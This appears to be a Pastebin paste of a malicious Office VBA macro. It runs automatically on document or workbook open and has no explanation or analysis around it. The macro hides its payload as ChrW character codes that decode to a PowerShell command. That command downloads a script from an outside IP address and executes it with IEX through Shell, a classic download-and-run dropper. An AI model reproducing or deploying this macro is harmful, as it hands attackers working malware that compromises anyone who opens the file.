Advertisement
Guest User

Untitled

a guest
Jun 21st, 2018
58
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.53 KB | None | 0 0
  1. Sub Auto_Open()
  2. Dim first As String
  3. Dim second As String
  4. Dim third As String
  5. Dim fourth As String
  6. Dim fifth As String
  7. Dim sixth As String
  8. Dim seventh As String
  9. Dim eighth As String
  10. Dim ninth As String
  11. Dim last As String
  12. first = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108)
  13. second = ChrW(32) & ChrW(34) & ChrW(73) & ChrW(69) & ChrW(88) & ChrW(40) & ChrW(78) & ChrW(101) & ChrW(119) & ChrW(45)
  14. third = ChrW(79) & ChrW(98) & ChrW(106) & ChrW(101) & ChrW(99) & ChrW(116) & ChrW(32) & ChrW(78) & ChrW(101) & ChrW(116)
  15. fourth = ChrW(46) & ChrW(87) & ChrW(101) & ChrW(98) & ChrW(67) & ChrW(108) & ChrW(105) & ChrW(101) & ChrW(110) & ChrW(116)
  16. fifth = ChrW(41) & ChrW(46) & ChrW(100) & ChrW(111) & ChrW(119) & ChrW(110) & ChrW(108) & ChrW(111) & ChrW(97) & ChrW(100)
  17. sixth = ChrW(83) & ChrW(116) & ChrW(114) & ChrW(105) & ChrW(110) & ChrW(103) & ChrW(40) & ChrW(39) & ChrW(104) & ChrW(116)
  18. seventh = ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(50) & ChrW(49) & ChrW(55) & ChrW(46) & ChrW(49)
  19. eighth = ChrW(56) & ChrW(50) & ChrW(46) & ChrW(53) & ChrW(52) & ChrW(46) & ChrW(50) & ChrW(52) & ChrW(56) & ChrW(58)
  20. ninth = ChrW(56) & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(39) & ChrW(41) & ChrW(34)
  21. last = first + second + third + fourth + fifth + sixth + seventh + eighth + ninth
  22. Shell(last)
  23. End Sub
  24. Sub AutoOpen()
  25. Auto_Open
  26. End Sub
  27. Sub Workbook_Open()
  28. Auto_Open
  29. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement